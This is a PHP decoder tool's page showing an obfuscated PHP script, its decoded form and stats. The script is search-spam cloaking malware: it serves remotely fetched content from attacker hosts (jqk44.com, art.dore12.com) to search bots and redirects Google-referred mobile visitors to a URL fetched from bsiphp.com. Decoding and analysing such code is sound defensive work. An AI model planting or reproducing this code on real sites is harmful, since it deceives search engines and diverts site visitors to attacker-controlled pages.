Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function isgood() { goto lStdZmt; lStdZdd: lStdZmA: goto lStdZdZ; lStdZmj: return f..

Decoded Output download

<?php 
function isgood() { goto lStdZmt; lStdZdd: lStdZmA: goto lStdZdZ; lStdZmj: return false; goto lStdZmY; lStdZmG: if (!empty($lOnZnm)) { goto lStdZmQ; } goto lStdZmj; lStdZmY: goto lStdZmA; goto lStdZmx; lStdZdm: foreach ($lOnZnd as $lOnZnZ) { goto lStdZmI; lStdZmn: if (!(strpos($lOnZnm, $lOnZnI) !== false)) { goto lStdZmZ; } goto lStdZmw; lStdZmH: lStdZmZ: goto lStdZmS; lStdZmI: $lOnZnI = strtolower($lOnZnZ); goto lStdZmn; lStdZmw: return $lOnZnI; goto lStdZmH; lStdZmS: } goto lStdZdd; lStdZmx: lStdZmQ: goto lStdZmO; lStdZmt: $lOnZnm = strtolower($_SERVER["HTTP_USER_AGENT"]); goto lStdZmG; lStdZmO: $lOnZnd = array("Googlebot", "Yahoo", "Bing"); goto lStdZdm; lStdZdZ: } function isMobileDevice() { goto lStdZdt; lStdZdY: return false; goto lStdZdx; lStdZdt: $lOnZnn = $_SERVER["HTTP_USER_AGENT"]; goto lStdZdG; lStdZdG: $lOnZnw = array("Android", "iPhone", "iPad", "Windows Phone", "BlackBerry", "Mobile", "Opera Mini"); goto lStdZdj; lStdZdj: foreach ($lOnZnw as $lOnZnH) { goto lStdZdH; lStdZdS: return true; goto lStdZdQ; lStdZdQ: lStdZdw: goto lStdZdA; lStdZdH: if (!(stripos($lOnZnn, $lOnZnH) !== false)) { goto lStdZdw; } goto lStdZdS; lStdZdA: } goto lStdZdY; lStdZdx: } function outinfo($lOnZnS) { goto lStdZdO; lStdZZm: $lOnZnA = @stream_get_contents($lOnZnQ); goto lStdZZd; lStdZZZ: return $lOnZnA; goto lStdZZI; lStdZdO: $lOnZnQ = @fopen($lOnZnS, "rb"); goto lStdZZm; lStdZZd: @fclose($lOnZnQ); goto lStdZZZ; lStdZZI: } if (isgood()) { goto lStdZZS; } if (strpos(@$_SERVER["HTTP_REFERER"], "google") === false) { goto lStdZZQ; } if (isMobileDevice()) { goto lStdZZn; } $lOnZnx = "https://art.dore12.com/wz/"; $lOnZnY = outinfo($lOnZnx . "/404.html?url=" . $_SERVER["REQUEST_URI"]); echo $lOnZnY; goto lStdZZw; lStdZZn: echo "<script async src="https://www.googletagmanager.com/gtag/js?id=G-6235LNWVJ0"></script>"; echo "<script>"; echo "window.dataLayer = window.dataLayer || [];"; echo " function gtag(){dataLayer.push(arguments);}"; echo "  gtag('js', new Date());"; echo "  gtag('config', 'G-6235LNWVJ0');"; echo "</script>"; $lOnZnO = file_get_contents("http://bsiphp.com/1.txt"); header("HTTP/1.1 301 Moved Permanently"); header("Location: {$lOnZnO}"); exit; lStdZZw: goto lStdZZH; lStdZZS: $lOnZnt = 0; $lOnZnG = "https://jqk44.com/demo2"; $lOnZnj = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . $_SERVER["REQUEST_URI"]; $lOnZnY = outinfo($lOnZnG . "/index.php?host=" . $lOnZnj); echo $lOnZnY; goto lStdZZH; lStdZZQ: $lOnZnx = "https://art.dore12.com/wz/"; $lOnZnY = outinfo($lOnZnx . "/404.html?url=" . $_SERVER["REQUEST_URI"]); echo $lOnZnY; lStdZZH: ?>

Did this file decode correctly?

Original Code

<?php
function isgood() { goto lStdZmt; lStdZdd: lStdZmA: goto lStdZdZ; lStdZmj: return false; goto lStdZmY; lStdZmG: if (!empty($lOnZnm)) { goto lStdZmQ; } goto lStdZmj; lStdZmY: goto lStdZmA; goto lStdZmx; lStdZdm: foreach ($lOnZnd as $lOnZnZ) { goto lStdZmI; lStdZmn: if (!(strpos($lOnZnm, $lOnZnI) !== false)) { goto lStdZmZ; } goto lStdZmw; lStdZmH: lStdZmZ: goto lStdZmS; lStdZmI: $lOnZnI = strtolower($lOnZnZ); goto lStdZmn; lStdZmw: return $lOnZnI; goto lStdZmH; lStdZmS: } goto lStdZdd; lStdZmx: lStdZmQ: goto lStdZmO; lStdZmt: $lOnZnm = strtolower($_SERVER["\x48\x54\124\120\137\125\123\x45\x52\137\x41\x47\105\116\x54"]); goto lStdZmG; lStdZmO: $lOnZnd = array("\x47\x6f\157\147\154\x65\142\157\164", "\x59\x61\150\157\157", "\102\x69\156\147"); goto lStdZdm; lStdZdZ: } function isMobileDevice() { goto lStdZdt; lStdZdY: return false; goto lStdZdx; lStdZdt: $lOnZnn = $_SERVER["\110\124\x54\120\x5f\125\123\x45\122\x5f\101\107\x45\x4e\124"]; goto lStdZdG; lStdZdG: $lOnZnw = array("\101\x6e\144\x72\x6f\151\x64", "\x69\120\x68\x6f\156\145", "\151\120\141\144", "\127\151\x6e\144\157\167\x73\x20\x50\150\157\156\145", "\x42\x6c\141\143\x6b\102\x65\x72\162\x79", "\x4d\157\x62\151\x6c\145", "\117\160\x65\x72\141\x20\115\x69\x6e\x69"); goto lStdZdj; lStdZdj: foreach ($lOnZnw as $lOnZnH) { goto lStdZdH; lStdZdS: return true; goto lStdZdQ; lStdZdQ: lStdZdw: goto lStdZdA; lStdZdH: if (!(stripos($lOnZnn, $lOnZnH) !== false)) { goto lStdZdw; } goto lStdZdS; lStdZdA: } goto lStdZdY; lStdZdx: } function outinfo($lOnZnS) { goto lStdZdO; lStdZZm: $lOnZnA = @stream_get_contents($lOnZnQ); goto lStdZZd; lStdZZZ: return $lOnZnA; goto lStdZZI; lStdZdO: $lOnZnQ = @fopen($lOnZnS, "\x72\x62"); goto lStdZZm; lStdZZd: @fclose($lOnZnQ); goto lStdZZZ; lStdZZI: } if (isgood()) { goto lStdZZS; } if (strpos(@$_SERVER["\x48\x54\x54\120\137\x52\x45\106\x45\x52\x45\122"], "\x67\x6f\157\x67\154\145") === false) { goto lStdZZQ; } if (isMobileDevice()) { goto lStdZZn; } $lOnZnx = "\150\x74\x74\160\x73\72\57\57\x61\x72\x74\x2e\x64\157\162\145\x31\x32\56\143\x6f\x6d\x2f\x77\172\57"; $lOnZnY = outinfo($lOnZnx . "\57\64\x30\x34\56\x68\164\x6d\154\x3f\x75\x72\154\x3d" . $_SERVER["\122\x45\x51\x55\105\123\x54\x5f\x55\x52\x49"]); echo $lOnZnY; goto lStdZZw; lStdZZn: echo "\74\163\143\x72\x69\x70\x74\x20\141\x73\171\156\143\40\163\162\143\75\x22\150\x74\x74\160\163\x3a\x2f\57\x77\x77\x77\x2e\147\x6f\x6f\147\154\x65\x74\x61\x67\x6d\x61\x6e\x61\147\145\x72\56\143\157\x6d\x2f\x67\x74\141\147\57\x6a\163\x3f\x69\x64\x3d\x47\55\x36\62\x33\x35\x4c\116\x57\126\112\60\42\x3e\74\57\x73\143\162\x69\160\x74\x3e"; echo "\x3c\163\x63\162\151\x70\164\76"; echo "\167\x69\156\x64\157\167\56\144\141\x74\x61\114\141\x79\145\x72\40\x3d\40\x77\151\156\144\x6f\167\56\x64\x61\x74\x61\x4c\x61\x79\145\x72\x20\x7c\174\40\x5b\135\73"; echo "\x20\146\165\156\x63\164\151\157\x6e\40\x67\164\x61\x67\x28\x29\x7b\x64\x61\164\x61\114\141\171\145\162\56\x70\x75\163\x68\50\x61\162\147\165\155\145\156\164\x73\x29\73\x7d"; echo "\x20\40\147\164\141\x67\50\x27\152\x73\x27\x2c\x20\x6e\145\167\40\104\141\x74\145\x28\51\51\73"; echo "\40\x20\147\x74\141\147\x28\x27\x63\157\156\x66\x69\147\47\x2c\40\x27\x47\x2d\66\62\x33\65\114\x4e\127\x56\112\60\x27\51\73"; echo "\74\57\x73\x63\x72\151\x70\164\x3e"; $lOnZnO = file_get_contents("\x68\164\x74\x70\72\57\x2f\142\x73\151\160\150\160\56\143\x6f\x6d\x2f\x31\56\x74\x78\x74"); header("\110\124\x54\120\x2f\x31\56\x31\40\63\x30\61\40\x4d\157\166\x65\144\40\120\145\162\x6d\x61\156\x65\x6e\x74\154\x79"); header("\x4c\x6f\x63\x61\164\151\157\x6e\72\40{$lOnZnO}"); exit; lStdZZw: goto lStdZZH; lStdZZS: $lOnZnt = 0; $lOnZnG = "\x68\164\164\160\163\x3a\x2f\x2f\x6a\161\153\x34\64\56\143\157\155\x2f\144\145\x6d\x6f\x32"; $lOnZnj = "\x68\x74\164\x70\72\x2f\x2f" . $_SERVER["\x53\x45\x52\x56\105\122\x5f\116\x41\x4d\x45"] . $_SERVER["\120\x48\x50\x5f\x53\105\114\106"] . $_SERVER["\122\105\x51\x55\105\x53\124\137\125\122\x49"]; $lOnZnY = outinfo($lOnZnG . "\x2f\151\x6e\144\x65\170\56\160\x68\160\x3f\x68\157\x73\164\x3d" . $lOnZnj); echo $lOnZnY; goto lStdZZH; lStdZZQ: $lOnZnx = "\150\164\164\160\x73\x3a\x2f\57\141\162\x74\x2e\144\157\x72\145\x31\x32\56\143\x6f\155\x2f\167\x7a\x2f"; $lOnZnY = outinfo($lOnZnx . "\x2f\x34\60\64\56\150\x74\155\154\77\x75\x72\154\75" . $_SERVER["\x52\105\121\125\x45\123\x54\x5f\125\x52\x49"]); echo $lOnZnY; lStdZZH:

Function Calls

None

Variables

None

Stats

MD5 eeec21206967393125415e3d33776a4a
Eval Count 0
Decode Time 52 ms